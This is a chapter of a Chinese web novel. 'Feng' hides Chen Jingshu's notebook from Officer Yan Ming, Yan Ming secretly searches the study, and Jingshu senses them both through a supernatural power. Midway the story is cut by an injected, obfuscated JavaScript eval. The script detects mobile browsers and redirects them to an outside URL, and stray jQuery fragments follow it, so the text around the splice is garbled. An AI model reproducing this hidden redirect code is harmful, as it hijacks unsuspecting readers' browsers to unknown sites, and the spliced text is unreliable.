别墅二楼最南边,这间屋子全天大部分时间都有阳光照射,被静姝布置成了书房。
此时夕阳的余晖透过整面落地窗洒泼洒进来,在地上落下一片金黄色的海洋。
闫明半蹲在半开的纸箱旁,将书籍取出,按类别与大小一丝不苟地插入书架。
他的动作精准利落,仿佛机器人般执行着严谨的程序。
‘风’则含着一根棒棒糖在书房中来回踱步,指尖划过书桌边缘、拂过窗台,目光漫不经心地划过每个角落,全然没有要动手帮忙的意思。
“你所谓的‘一起帮忙’,”闫明的声音从书架间隙传来,不负往日的平稳,隐隐带着一丝火气,“就是站在这里监工?”
‘风’正欲回话,转头间余光忽然瞥见闫明正在整理的纸箱角落,一本深蓝色的笔记本一角露了出来,封皮上隐约可见可见龙章凤舞的三个字——陈静姝。
他的眸光微凝。
“哎呀,被发现了。”
他立刻换上了那副玩世不恭的笑脸,踱步过去,不动声色地挡在了纸箱和闫明之间,“我这不是在熟悉环境,为以后打打基础嘛。”
闫明冷哼一声,并不相信他的鬼话,“你还是和以前一样,做什么都有许多借口。”
“这可不是借口。”‘风’无奈一笑。
他顺势弯腰,看似随意地将那本笔记本往箱底深处推了推,同时用身体遮住闫明的视线,从箱子中抓起几本厚重的书籍——连带那本笔记本一起,往最角落的书架走去,“这些重家伙就放着我来搬吧。”
“对了,闫队。”他语气自然道:“刚才进来时我好像看见你的车窗没关。天气预报说一会儿有阵雨。”
闫明动作一顿,抬头看了他一眼,“我今天没有开车。而且……”
他放下手中的书,拍了拍指尖并不存在的灰尘,“我记得天气预报说,这几天天气都很好,阳光明媚。”
“是吗?”‘风’语气中没有一丝被拆穿的尴尬,依旧是那副懒洋洋的调子,“那看来是我记错了。年纪大了,总是过目既忘。”
闫明没有理会对方这拙劣的借口。
他迈开步伐,不疾不徐朝对方走去,眼眸随着每一步靠近而逐渐变得幽深,如同择人而噬的深渊。
最后,他在离‘风’三步之遥处停下,目光如炬,似要透过对方消瘦挺拔的背影,看见其想要极力隐藏的秘密。
“你当真对她动了心思?”
“当然。”
随着闫明的靠近,‘风’的身子几不可察地绷紧。
此时他顺势转身,姿态看似放松,身形却依旧巧妙地将身后的书架挡得严严实实,“毕竟年纪到了,也是到了该谈婚论嫁的时候。”
“你应该知道,她不是普通人,很可能是‘狮子’组织的异能者。靠近她,等同于把自己置身于悬崖边缘。”他语气格外严厉,像是在劝诫别人,更像是在劝诫自己。
似乎是意识到自身情绪不对,闫明深吸一口气,压下心中翻涌的情绪,语气恢复了往日的平稳,“而且,你也不是会被现实所裹挟的人。”
“情不知所起,一往而深。”
‘风’语气一贯慵懒,听不出太多情绪,“况且,我如何行事,轮不到闫队长多言吧。你很了解我吗?”
闫明表情沉郁如积云雨,一言不发地看着对方,那目光仿佛要将对方钉在原地。
“你还是和以前一样傲慢,我行我素,听不进他人的意见。”他忽然开口,声音平静,听不出喜怒,却比任何斥责都让人感受到其中的怒意。
“我傲慢?”‘风’表情终于有了裂痕。
他嘴角缓缓勾起一抹冰冷的弧度,周身那股慵懒的气质瞬间褪去,身上每一寸肌肤似乎都化为了利剑,朝对方刺去,“你不傲慢吗?”
他向前半步,语气低沉,字字如刀,“恐怕在你心中,只有那些觉醒了异能的特殊人才,才算得上你真正的队友吧!至于那些普通警员,在你眼里,是不是才来都只是……可是随时替换的物品?”
‘风’的言语如同一把锋利的钢刀,划破了闫明心里最深处、连他自己都不愿意正视的伪装。
空气突然凝滞,寂静中只能听见两人几乎重叠的、压抑的呼吸声。
闫明的指节捏得发白,下颌紧绷如刀刻。
他想反驳,但想到身边来来去去的那些人──有些甚至连模样都已经忘记。
始终跟在自己身旁的只有唐晓,现在或许还要加上小魏。
‘风’的话如同一面镜子,照出了他潜意识里自己都未曾发现的──傲慢。
他倏地闭上双眼,从内心深处涌上一股深深的疲惫。
“我去其它房间整理。”丢下这句话,闫明朝书房外走去。
他的背影仿佛压着千钧重担,不负之前的挺拔。
看着闫明的背影消失在楼梯口,‘风’迅速抽出那本深蓝色的笔记本。
指尖轻轻拂过书皮上的名字,触感微凉,带着微微的凹陷。
他沉默地看着笔记本。
夕阳的余晖从他的肩头滑落,将他的一本面容浸入暖金里,另一半这陷入书架投下的阴影中,分割成明暗两端。
轻叹一声,‘风’终究没有打开笔记本,随手放进风衣暗袋中。
也不知道他这风衣是如何设计的,塞了这么大一本书进去,外表看上去依旧轻盈潇洒。
将剩下的书按照顺序放入书架中,‘风’拍了拍手,环顾四周,确认无误后,这才施施然走出书房。
等‘风’的身影完全消失,长廊拐角处突然蹿出一道身影──高大挺拔,坚毅如磐石,给人一种无形的安全感。
来人正是去而复返的闫明!
此刻的他,早已不见半分先前的沉郁与动摇。
眼眸锐利如出鞘的寒刀,动作迅捷如猎豹,几乎是在书房门被推开的瞬间,人已无声无息地闪入屋内,直奔之前‘风’所停留与遮挡的书架。
他的指尖快速拂过一排排书籍,一目十行间快速扫过书架上的书籍。
没有发现任何异常,他又立刻转向旁边的书架,挨个排查,动作干脆利落。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950973|173382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
夕阳已完全沉没,书房内光线昏暗,闫明只能凭着极佳的目力,以及窗外透入的最后一丝天光,不放过任何细微的异常之处。
──
神识如流水般无声敛回静姝体内,带来了方圆百米内的一切动静。
她唇角微不可察地弯了弯,眺望着天边即将没入地平线的金乌。
晚霞如被打翻的胭脂匣,绚丽多彩,肆意绽放着妖娆的身姿。
暮色四合,清风徐来,吹起她耳畔一缕散落的青丝,静姝将其撩入耳后,姿态闲适。
也正是此时,那道熟悉的身影踏着满院渐浓的夜色,慵懒地踱入了前院。
依旧是那副万事不萦于心的散漫姿态,仿佛只是散步归来。
最后一丝霞光给来人镀上一层暖色的边,整个人熠熠生辉。
‘风’抬起眼,对上静姝含笑的双眼,嘴角也不由自主浮现那抹惯常的、漫不经心的弧度。
“风景不错。”他走到静姝身边,与她一同望向天际最后一抹绚烂,“比书上描绘的还要令人赏心悦目。”
“书上可看不见‘风’。”静姝轻轻吸了口带着晚霞气息的空气,意有所指。
‘风’表情一怔,随即发出一串压抑不住的低沉笑声,笑声愉悦,清越悠扬。
静姝嘴角笑也不由向四周舒展,脸颊、眉眼,都染上了显而易见的温柔笑意,整个人灵动恣意,仿若姑射神人。
‘风’表情怔然地看着静姝,眼中满是惊艳。
她见过静姝各种各样的笑:害羞的、温柔的、冷清的……这些笑多少都带着一些拒人于千里之外的疏离。
如今这样眉开眼笑的样子,就仿若是一位游离于世间的过客,突然返回这纷纷扰扰的红尘中,鲜活灵动。
“看来,我来得不是时候。”突兀出现的平稳男声打散了暧昧的气氛。
‘风’一瞬间脸黑如锅底,满脸不悦地看着走入前院的不速之客。
闫明眼神平淡地扫了‘风’一眼,脸上不见似乎歉意,显然是故意为之。
他将视线移向静姝,表情是惯有的严肃,“陈小姐,行礼已经帮你整理好了。”
静姝脸上开怀的笑意早已经收敛,只余下淡淡的温柔的弧度,“谢谢闫队长。一会儿留下来吃完饭吧,就当是我表达的谢意。”
“不必了。”闫明回绝得直接干脆,“队里还有事要处理,我得赶回去。”
有‘风’在场,他知道继续留下也不会有更多任何线索,闫明也不想在这里浪费时间。
转身欲走时,余光忽然瞥见静姝身旁几株姿态各异的绿植。
闫明脚步微顿,眸光一闪,“陈小姐在整理院子?这几株植物倒是从未见过。”
静姝的视线也随之落在那几株植物上。
她伸出纤细的手指,嫩白的指尖轻轻拂过其中一株黄绿色的嫩芽,“都是一些不易得的稀有品种,闫队长没有见过也是正常。”
“临近立秋,这几株植物却刚抽新芽,倒确实罕见。”闫明目光审视,将每一株植物的特点铭记于心。